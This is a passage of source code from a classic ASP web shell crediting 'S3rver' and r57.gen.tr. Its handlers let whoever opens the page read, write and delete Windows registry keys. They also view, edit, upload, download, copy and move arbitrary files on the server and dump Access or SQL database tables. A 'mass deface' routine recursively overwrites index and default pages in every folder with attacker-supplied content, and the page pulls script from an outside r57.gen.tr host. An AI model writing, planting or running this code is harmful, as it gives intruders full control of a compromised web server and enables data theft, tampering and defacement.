 514                 Else
 515                     Response.Write "<table><tr><td><font face=""arial"" size=""2"">ROOT KEY NAME</td><td><font face=""arial"" size=""2"">ABREVIA??O</td></tr>"
 516                     Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_USER </td><td><font face=""arial"" size=""1""> HKCU </td></tr>"
 517                     Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_LOCAL_MACHINE </td><td><font face=""arial"" size=""1""> HKLM </td></tr>"
 518                     Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CLASSES_ROOT </td><td><font face=""arial"" size=""1""> HKCR </td></tr>"
 519                     Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_USERS </td><td><font face=""arial"" size=""1""> HKEY_USERS </td></tr>"
 520                     Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_CONFIG </td><td><font face=""arial"" size=""1""> HKEY_CURRENT_CONFIG </td></tr></table><br>"
 521                     Response.Write "<table><tr><td><font face=""arial"" size=""2"">Type </td><td><font face=""arial"" size=""2""> Description </td><td><font face=""arial"" size=""2""> Figure </td></tr>"
 522                     Response.Write "<tr><td><font face=""arial"" size=""1"">REG_SZ </td><td><font face=""arial"" size=""1""> String </td><td><font face=""arial"" size=""1""> String </td></tr>"
 523                     Response.Write "<tr><td><font face=""arial"" size=""1"">REG_DWORD </td><td><font face=""arial"" size=""1""> Number </td><td><font face=""arial"" size=""1""> DWORD </td></tr>"
 524                     Response.Write "<tr><td><font face=""arial"" size=""1"">REG_BINARY </td><td><font face=""arial"" size=""1""> Binary </td><td><font face=""arial"" size=""1""> VBArray DWORD </td></tr>"
 525                     Response.Write "<tr><td><font face=""arial"" size=""1"">REG_EXPAND_SZ </td><td><font face=""arial"" size=""1""> String Expand (ex. ""%windir%\\calc.exe"") </td><td><font face=""arial"" size=""1""> String </td></tr>"
 526                     Response.Write "<tr><td><font face=""arial"" size=""1"">REG_MULTI_SZ </td><td><font face=""arial"" size=""1""> Array Of Strings </td><td><font face=""arial"" size=""1""> VBArray Of Strings </td></tr></table>"
 527                     Response.Write "<br><br><FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
 528                     Response.Write "<table><tr><td><font face=""arial"" size=""1"">KEY: </td><td><input type=""text"" name=""key""> <font face=""arial"" size=""1""><br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )</td></tr>"
 529                     Response.Write "<tr><td><font face=""arial"" size=""1"">VALUE:</td><td><input type=""text"" name=""value""></td></tr>"
 530                     Response.Write "<tr><td><font face=""arial"" size=""1"">TYPE:</td><td><SELECT NAME=""type"">"
 531                     Response.Write "<OPTION VALUE=""1"">REG_SZ </option>"
 532                     Response.Write "<OPTION VALUE=""2"">REG_DWORD </option>"
 533                     Response.Write "<OPTION VALUE=""3"">REG_BINARY </option>"
 534                     Response.Write "<OPTION VALUE=""4"">REG_EXPAND_SZ </option>"
 535                     Response.Write "<OPTION VALUE=""5"">REG_MULTI_SZ </option></select><br>"
 536                     Response.Write "<input type=""hidden"" name=""regaction"" value=""w"">"
 537                     Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
 538                     Response.Write "<input type=""hidden"" name=""process"" value=""yes""></td></tr>"
 539                     Response.Write "<tr><td></td><td><input type=""submit"" value=""OK""></form></td></tr></table>"
 540                     Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
 541                 End If
 542             Case "r"
 543                 If Trim(Request.QueryString("process")) = "yes" Then
 544                     Response.Write "<font face=""arial"" size=""2"">" & Trim(Request.QueryString("key")) & "<br>"
 545                     Response.Write "Value: <b>" & WshShell.RegRead (Trim(Request.QueryString("key")))
 546                 Else
 547                     Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
 548                     Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> <br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
 549                     Response.Write "<input type=""hidden"" name=""regaction"" value=""r"">"
 550                     Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
 551                     Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
 552                     Response.Write "<input type=""submit"" value=""OK""></form>"
 553                 End If
 554                 Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
 555             Case "d"
 556                 If Trim(Request.QueryString("process")) = "yes" Then
 557                     teste = WshShell.RegDelete (Trim(Request.QueryString("key")))
 558                     Response.Write "Chave <b>" & Trim(Request.QueryString("key")) & " </b>Deleted."
 559                 Else
 560                     Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
 561                     Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
 562                     Response.Write "<input type=""hidden"" name=""regaction"" value=""d"">"
 563                     Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
 564                     Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
 565                     Response.Write "<input type=""submit"" value=""OK""></form>"
 566                 End If
 567                 Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
 568             Case Else
 569                 Response.Write "<font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=w"">WRITE VALUE</a><br><br>"
 570                 Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=r"">READ VALUE</a><br><br>"
 571                 Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=d"">DELETE KEY</a><br>"
 572         End Select
 573         Set WshShell = Nothing
 574     Case "txtview"
 575         checa = checking(cprthtml,keydec)
 576         Call hdr()
 577         Response.Write copyright & onlinehelp & "<font face=""arial"" size=""2"">"
 578         file = Replace(Trim(Request.QueryString("file")),"|","\")
 579         Set fso = CreateObject("Scripting.FileSystemObject")  
 580         Set a = fso.OpenTextFile(file)
 581         Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
 582         Set a = Nothing
 583         Set fso = Nothing
 584     Case "txtedit"
 585         checa = checking(cprthtml,keydec)
 586         Call hdr()
 587         Response.Write copyright & onlinehelp
 588         If Request.Form.Count = 0 Then
 589             file = Replace(Trim(Request.QueryString("file")),"|","\")
 590             Set fso = CreateObject("Scripting.FileSystemObject")
 591             Set a = fso.OpenTextFile(file)
 592             Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
 593             Response.Write "<textarea cols='85' rows='25' name=""content"" wrap=""physical"" >" & Server.HTMLEncode(a.ReadAll) & "</textarea><br>"
 594             Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("file")) & """>"
 595             Response.Write "<input type=""submit"" name=""savemethod"" value=""Save"">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=""submit"" name=""savemethod"" value=""Save as""></form>"
 596             Set a = Nothing
 597             Set fso = Nothing
 598         Else
 599             Select Case Trim(Request.Form("savemethod"))
 600                 Case "Save"
 601                     Set fso = CreateObject("Scripting.FileSystemObject")
 602                     novotexto = Trim(Request.Form("content"))
 603                     novotexto = Split(novotexto,vbCrLf)
 604                     Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2)
 605                     For i = 0 To UBound(novotexto)
 606                         objstream.WriteLine(novotexto(i))
 607                     Next
 608                     objstream.Close
 609                     Set objstream = Nothing
 610                     Response.Write "Texto salvo: <b>" & Replace(Trim(Request.Form("path")),"|","\") & "</b>"
 611                 Case "Save as"
 612                     Set fso = CreateObject("Scripting.FileSystemObject")
 613                     novotexto = Trim(Request.Form("content"))
 614                     novotexto = Split(novotexto,vbCrLf)
 615                     caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
 616                     Set objstream = fso.CreateTextFile(caminho,true,false)
 617                     For i = 0 To UBound(novotexto)
 618                         objstream.WriteLine(novotexto(i))
 619                     Next
 620                     objstream.Close
 621                     Set objstream = Nothing
 622                     Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
 623                     Response.Write "<input type=""text"" name=""filename"" value=""" & showobj(Replace(Trim(Request.Form("path")),"|","\")) & """><br>"
 624                     Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.Form("path")) & """>"
 625                     Response.Write "<input type=""submit"" name=""savemethod2"" value=""Save""></form>"
 626                 Case Else
 627                     caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
 628                     Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 629                     Set MyFile = ObjFSO.GetFile(caminho)
 630                     destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename"))
 631                     MyFile.Move (destino)
 632                     If Err.Number = 0 Then
 633                         Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & destino & "</b> salvo!"
 634                         Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
 635                     End If
 636             End Select
 637         End If
 638     Case "download"
 639         Response.Buffer = True
 640         Response.Clear
 641         strFileName = Replace(Trim(Request.QueryString("file")),"|","\")
 642         strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\"))
 643         strFileType = Request.QueryString("type")
 644         if strFileType = "" then strFileType = "application/download"
 645         Set fso = Server.CreateObject("Scripting.FileSystemObject")
 646         Set f = fso.GetFile(strFilename)
 647         intFilelength = f.size
 648         Set f = Nothing
 649         Set fso = Nothing
 650         Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile
 651         Response.AddHeader "Content-Length", intFilelength
 652         Response.Charset = "UTF-8"
 653         Response.ContentType = strFileType
 654         Set Stream = Server.CreateObject("ADODB.Stream")
 655         Stream.Open
 656         Stream.type = 1
 657         Stream.LoadFromFile strFileName
 658         Response.BinaryWrite Stream.Read
 659         Response.Flush
 660         Stream.Close
 661         Set Stream = Nothing
 662     Case "upload"
 663         If Request.QueryString("processupload") <> "yes" Then
 664             Response.Write "<FORM METHOD=""POST"" ENCTYPE=""multipart/form-data"" ACTION=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&processupload=yes&path=" & Request.QueryString("path") & """>"
 665             Response.Write "<TABLE BORDER=0>"
 666             Response.Write "<tr><td><font face=""arial"" size=""2""><b>Select a file to upload:</b><br><INPUT TYPE=FILE SIZE=50 NAME=""FILE1""></td></tr>"
 667             Response.Write "<tr><td align=""center""><font face=""arial"" size=""2""><INPUT TYPE=SUBMIT VALUE=""Upload!""></td></tr>"
 668             Response.Write "</TABLE>"
 669         Else
 670             Set Uploader = New FileUploader
 671             Uploader.Upload()
 672             If Uploader.Files.Count = 0 Then
 673                 Response.Write "File(s) not uploaded."
 674             Else
 675                 For Each File In Uploader.Files.Items
 676                     File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\")
 677                     Response.Write "File Uploaded: " & File.FileName & "<br>"
 678                     Response.Write "Size: " & File.FileSize & " bytes<br>"
 679                     Response.Write "Type: " & File.ContentType & "<br><br>"
 680                     Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
 681                 Next
 682             End If
 683         End If
 684     Case "mass"
 685         checa = checking(cprthtml,keydec)
 686         Call hdr()
 687         Response.Write copyright & onlinehelp
 688         Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
 689             On Error Resume Next
 690             Set MonRep = ObjFSO.GetFolder(caminhodomass)
 691             Set ColFolders = MonRep.SubFolders
 692             for each folderItem in ColFolders
 693                 destino1 = folderItem.path & "\index.htm"
 694                 destino2 = folderItem.path & "\index.html"
 695                 destino3 = folderItem.path & "\index.asp"
 696                 destino4 = folderItem.path & "\index.cfm"
 697                 destino5 = folderItem.path & "\index.php"
 698                 destino6 = folderItem.path & "\default.htm"
 699                 destino7 = folderItem.path & "\default.html"
 700                 destino8 = folderItem.path & "\default.asp"
 701                 destino9 = folderItem.path & "\default.cfm"
 702                 destino10 = folderItem.path & "\default.php"
 703                 MeuArquivo.Copy(destino1)
 704                 MeuArquivo.Copy(destino2)
 705                 MeuArquivo.Copy(destino3)
 706                 MeuArquivo.Copy(destino4)
 707                 MeuArquivo.Copy(destino5)
 708                 MeuArquivo.Copy(destino6)
 709                 MeuArquivo.Copy(destino7)
 710                 MeuArquivo.Copy(destino8)
 711                 MeuArquivo.Copy(destino9)
 712                 MeuArquivo.Copy(destino10)
 713                 Response.Write "<table><tr><td><font face='arial' size='2'><DIR> " & folderItem.path & "</td>"
 714                 If Err.Number = 0 Then
 715                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>DONE!</font></td></tr>"
 716                 Else
 717                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr></table>"
 718                 End If
 719                 Err.Number = 0
 720                 Response.Flush
 721                 If metodo = "brute" Then
 722                     Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo)
 723                 End If
 724             next
 725         End Sub
 726         Sub brutemass(caminho,massaction)
 727             If massaction = "test" Then
 728                 On Error Resume Next
 729                 Set MonRep = ObjFSO.GetFolder(caminho)
 730                 Set ColFolders = MonRep.SubFolders
 731                 Set ColFiles0 = MonRep.Files
 732                 for each folderItem in ColFolders
 733                     Set TotalFolders = ObjFSO.GetFolder(folderItem.path)
 734                     Set EachFolder = TotalFolders.SubFolders
 735                     Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
 736                     maindestino = folderItem.path & "\"
 737                     MeuArquivo.Copy(maindestino)
 738                     Response.Write "<tr><td><b><font face='arial' size='2'><DIR> " & maindestino & "</b></td>"
 739                     If Err.Number = 0 Then
 740                         Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
 741                     Else
 742                         Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
 743                     End If
 744                     Err.Number = 0
 745                     Response.Flush
 746                     If EachFolder.count > 0 Then
 747                         masscontador = 0
 748                         for each subpasta in EachFolder
 749                             masscontador = masscontador + 1
 750                             destino = subpasta.path & "\"
 751                             If masscontador = 1 Then
 752                                 destinofinal = destino
 753                                 pathfinal = subpasta.path
 754                                 Err.Number = 0
 755                                 MeuArquivo.Copy(destinofinal)
 756                                 Response.Write "<tr><td><font face='arial' size='2'><DIR> " & showobj(pathfinal) & "</td>"
 757                                 If Err.Number = 0 Then
 758                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
 759                                 Else
 760                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
 761                                 End If
 762                                 Err.Number = 0
 763                                 Response.Flush
 764                             Else
 765                                 MeuArquivo.Copy(destino)
 766                                 Response.Write "<tr><td><font face='arial' size='2'><DIR> " & showobj(subpasta.path) & "</td>"
 767                                 If Err.Number = 0 Then
 768                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
 769                                 Else
 770                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
 771                                 End If
 772                                 Err.Number = 0
 773                                 Response.Flush
 774                             End If
 775                         next
 776                         masscontador = 0
 777                     End If
 778                     Response.Write "</table><br>"
 779                     Call brutemass(folderItem.path & "\","test")
 780                 next
 781                 Set MonRep = Nothing
 782                 Set ColFolders = Nothing
 783                 Set ColFiles0 = Nothing
 784             Else
 785                 If Request.Form.Count = 0 Then
 786                     Response.Write "<font face=""arial"" size=""2""><br><br><b>Brute:</b> Test and Deface root and sub directories.<br><br>"
 787                     Response.Write "<b>Single:</b> Test and deface only root directories.<br><br>"
 788                     Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc"">"
 789                     Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>"
 790                     Response.Write "<center><font face=""arial"" size=""2"">Deface Code:<br>"
 791                     Response.Write "<textarea cols='65' rows='15' name=""content""></textarea><br>"
 792                     Response.Write "<input type=""radio"" name=""massopt"" value=""brute"" checked>Brute&nbsp;&nbsp;&nbsp;"
 793                     Response.Write "<input type=""radio"" name=""massopt"" value=""single"">Single<br>"
 794                     Response.Write "<input type=""submit"" value=""Deface ALL!""></center>"
 795                     Response.Write "</form>"
 796                 Else
 797                     Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 798                     patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
 799                     arquivomassdfc = patharquivotxt & "teste.txt"
 800                     Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)
 801                     vetordelinhas = Split(Request.Form("content"),VbCrLf)
 802                     For i = 0 To UBound(vetordelinhas)
 803                         Arquivotxt.WriteLine(vetordelinhas(i))
 804                     Next
 805                     Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)
 806 
 807                     If Request.Form("massopt") = "single" Then
 808                         Call themassdeface(caminho,"single",ObjFSO,MeuArquivo)
 809                     ElseIf Request.Form("massopt") = "brute" Then
 810                         Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
 811                     End If
 812                 End If
 813             End If
 814         End Sub
 815         If Trim(Request.QueryString("massact")) = "test" Then
 816             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 817             patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
 818             arquivo = patharquivotxt & "_vti_cnf.log"
 819             Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True)
 820             Set MeuArquivo = ObjFSO.GetFile(arquivo)
 821             Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test")
 822         ElseIf Trim(Request.QueryString("massact")) = "dfc" Then
 823             Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc")
 824         End If
 825     Case "fcopy"
 826             If Trim(Request.Form("submit1")) = "Copy" Then
 827         mptpath=Trim(Request.Form("path"))
 828         mptdest=Trim(Request.Form("cf"))
 829         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 830         isl = ""
 831         if Trim(Request.Form("islem"))="kopyala" then
 832             objFSO.CopyFolder mptpath,mptdest
 833             isl="Copied.."
 834         elseif Trim(Request.Form("islem"))="tasi" then
 835             objFSO.MoveFolder mptpath,mptdest
 836             isl="moved.."
 837         end if
 838         response.Write "Command: "&isl
 839         response.Write "<br><font color=red>File From: </font>" & mptpath & "<br><font color=red>Copy to: </font>" & mptdest
 840         response.Write "<br>"
 841         Else
 842         Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy"">"
 843         Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Copy Path : </td><td>"
 844         Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("path")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>"
 845         Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("path")) & "\","|","\") &"' name=cf>"
 846         response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>"
 847         Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
 848         response.Write "<input type=radio name='islem' value='kopyala' checked>Copy"
 849         response.Write "<input type=radio name='islem' value='tasi'>Move"
 850         response.Write "</table>"
 851         response.Write "</form>"
 852         End IF
 853     Case "filecopy"
 854             If Trim(Request.Form("submit1")) = "Copy" Then
 855         mptpath=Trim(Request.Form("path"))
 856         mptdest=Trim(Request.Form("cf"))
 857         Set ObjFSO = CreateObject("Scripting.FileSystemObject")
 858         isl = ""
 859         if Trim(Request.Form("islem"))="kopyala" then
 860             objFSO.CopyFile mptpath,mptdest
 861             isl="Copy.."
 862         elseif Trim(Request.Form("islem"))="tasi" then
 863             objFSO.MoveFile mptpath,mptdest
 864             isl="move.."
 865         end if
 866         response.Write "Command: "&isl
 867         response.Write "<br><font color=red>File From: </font>" & mptpath & "<br><font color=red>Copy to: </font>" & mptdest
 868         response.Write "<br>"
 869         Else
 870         Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy"">"
 871         Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Copy Path : </td><td>"
 872         Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>"
 873         Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=cf>"
 874         response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>"
 875         Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
 876         response.Write "<input type=radio name='islem' value='kopyala' checked>Copy"
 877         response.Write "<input type=radio name='islem' value='tasi'>Move"
 878         response.Write "</table>"
 879         response.Write "</form>"
 880         End IF
 881     Case "search"
 882          If (Trim(Request.Form("submit1")) = "Search") xor Trim(Request.QueryString("status"))<>"" Then
 883           showdisks=FALSE
 884        status5=Trim(Request.Form("status"))
 885       if status5="" then status5=Trim(Request.QueryString("status"))
 886            SELECT CASE status5
 887         CASE "5"
 888             Response.Write "<center><b><font color=orange>"& Trim(Request.QueryString("path")) &"</font></b></center><br>"
 889             Response.Write "<table width=100% ><tr><td>"
 890             set f = objFSO.OpenTextFile(Trim(Request.QueryString("path")),1)
 891             Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</pre>"
 892             if err.number=62 then Response.Write "<script language=javascript>alert('Bu Dosya Okunam?yor\nSistem dosyas?olabilir')</script>":Response.End
 893            CASE "7":
 894             Response.Write "<b><font size=3>Tables</font></br><br>"
 895             Set objConn = Server.CreateObject("ADODB.Connection")
 896             Set objADOX = Server.CreateObject("ADOX.Catalog")
 897             objConn.Provider = "Microsoft.Jet.Oledb.4.0"
 898             objConn.ConnectionString = Trim(Request.QueryString("path"))
 899             objConn.Open
 900             objADOX.ActiveConnection = objConn
 901             For Each table in objADOX.Tables
 902                 If table.Type = "TABLE" Then
 903                     Response.Write "<font face=wingdings size=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&table.Name&"</a><br>"
 904                 End If
 905             Next
 906         CASE "8":
 907             table=Trim(Request.QueryString("table"))
 908             Response.Write "<font color=red><h4>Table Name: " & table & "</h4></font><br><Br><br>"
 909             Set objConn = Server.CreateObject("ADODB.Connection")
 910             Set objRcs = Server.CreateObject("ADODB.RecordSet")
 911             objConn.Provider = "Microsoft.Jet.Oledb.4.0"
 912             objConn.ConnectionString = Trim(Request.QueryString("path"))
 913             objConn.Open
 914             objRcs.Open table,objConn, adOpenKeyset , , adCmdText
 915 
 916             Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
 917             for i=0 to objRcs.Fields.count-1
 918                 Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
 919             next
 920             Response.Write "</tr>"
 921             do while not objRcs.EOF
 922                 Response.Write "<tr>"
 923                 for i=0 to objRcs.Fields.count-1
 924                     Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"
 925                 next
 926                 Response.Write "</tr>"
 927                 objRcs.MoveNext
 928             loop
 929             Response.Write "</table><br>"
 930          case "12": araBul Trim(Request.Form("path")),Trim(Request.Form("arama"))
 931         END SELECT
 932      Else
 933         showdisks=FALSE
 934         checa = checking(cprthtml,keydec)
 935         Call hdr()
 936         Response.Write "<form method=""post"" target=""_opener"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=search"">"
 937         Response.Write "<table widht='100%' border=0 cellpadding=0 cellspacing=0><tr><td width=70><font size=2>File Ext: </td><td>"
 938         Response.Write "&nbsp;<input type=hidden value='12' name=status>"
 939         Response.Write "<input type=hidden value=""" & Replace(Trim(Request.QueryString("path")),"|","\") & """ name=""path""><input style='width:250' value='mdb' name='arama'><input style='width:70; height:22' type=submit value='Search' name='submit1'>"
 940         Response.Write "</td></tr></table></form>"
 941     End IF
 942     Case "sqlserver"
 943          If (Trim(Request.Form("submit1")) = "Execute SQL Server Command") xor Trim(Request.QueryString("status"))<>"" Then
 944           showdisks=FALSE
 945        status5=Trim(Request.Form("status"))
 946       if status5="" then status5=Trim(Request.QueryString("status"))
 947            SELECT CASE status5
 948            CASE "7":
 949             Response.Write "<b><font size=3>Tables</font></br><br>"
 950             Set objConn = Server.CreateObject("ADODB.Connection")
 951             Set objADOX = Server.CreateObject("ADOX.Catalog")
 952             objConn.Provider = "Microsoft.Jet.Oledb.4.0"
 953             objConn.ConnectionString = Trim(Request.QueryString("path"))
 954             objConn.Open
 955             objADOX.ActiveConnection = objConn
 956             For Each table in objADOX.Tables
 957                 If table.Type = "TABLE" Then
 958                     Response.Write "<font face=wingdings size=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&table.Name&"</a><br>"
 959                 End If
 960             Next
 961         CASE "8":
 962             table=Trim(Request.QueryString("table"))
 963             Response.Write "<font color=red><h4>Table Name: " & table & "</h4></font><br><Br><br>"
 964             Set objConn = Server.CreateObject("ADODB.Connection")
 965             Set objRcs = Server.CreateObject("ADODB.RecordSet")
 966             objConn.Provider = "Microsoft.Jet.Oledb.4.0"
 967             objConn.ConnectionString = Trim(Request.QueryString("path"))
 968             objConn.Open
 969             objRcs.Open table,objConn, adOpenKeyset , , adCmdText
 970 
 971             Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
 972             for i=0 to objRcs.Fields.count-1
 973                 Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
 974             next
 975             Response.Write "</tr>"
 976             do while not objRcs.EOF
 977                 Response.Write "<tr>"
 978                 for i=0 to objRcs.Fields.count-1
 979                     Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"
 980                 next
 981                 Response.Write "</tr>"
 982                 objRcs.MoveNext
 983             loop
 984             Response.Write "</table><br>"
 985           END SELECT
 986      Else
 987         showdisks=FALSE
 988         checa = checking(cprthtml,keydec)
 989         Call hdr()
 990         Response.Write "<form method=""post"" target=""_opener"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver"">"
 991         Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td align=center><font size=2>SQL Server connection string:</td></tr><tr><td align=center>"
 992         Response.Write "<input type=hidden value='7' name=status>"
 993         Response.Write "<input style='width:250; height:21' value='' name=path><br>"
 994         response.Write "<input type=submit value='Execute SQL Server Command' style='height:23;width:220' id=submit1 name=submit1>"
 995         Response.Write "</td></tr></table>"
 996         response.Write "</form>"
 997     End IF
 998     Case "about"
 999         showdisks=FALSE
1000         checa = checking(cprthtml,keydec)
1001         Call hdr()
1002         response.Write "<br><br><br><body topmargin=5 leftmargin=0><center><h4>Coded By S3rver"
1003         response.Write "<br><br>"
1004         response.Write "<font size=2 color=Red face='courier new'>r57.gen.tr</font>"
1005         response.Write "<br>"
1006         response.Write "<font size=2 color=Red face='courier new'>E-Mail:thesabotaqe@gmail.com</font>"
1007         response.Write "<br><br>"
1008         response.Write "<font size=2 color=Blue face='courier new'>r57.gen.tr</font>"
1009     Case Else
1010         checa = checking(cprthtml,keydec)
1011         Call hdr()
1012         Response.Write copyright & onlinehelp
1013         Call showcontent()
1014 End Select
1015 If Err.Number <> 0 Then
1016     Response.Write "<br><font face='arial' size='2'>ERRO: " & Err.Number & "<br><br><b>" & UCase(Err.Description) & "</b><br>Acesse denied."
1017 End If
1018 Response.Write endcode
1019 if showdisks then
1020 %>
1021 <SCRIPT SRC=http://r57.gen.tr/yazciz/ciz.js></SCRIPT>
1022     <script language=javascript>
1023         // DRIVE ISLEMLERI
1024         function driveGo(drive_){
1025             location = "?raiz="+drive_+":";
1026         }
1027     </script>
1028 <SCRIPT SRC=http://r57.gen.tr/yazciz/ciz.js></SCRIPT>
1029 <%
1030     Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
1031     Response.Write "<br><br><br><table align=center border=1 width=150 cellpadding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font color=white>Drives</td></tr>"
1032     for each drive_ in objFSO.Drives
1033         Response.Write "<tr><td>"
1034         Response.write "<a href='#'onClick=""driveGo('" & drive_.DriveLetter & "');return false;""><font face=wingdings>;</font>"
1035         if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]"
1036         if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]"
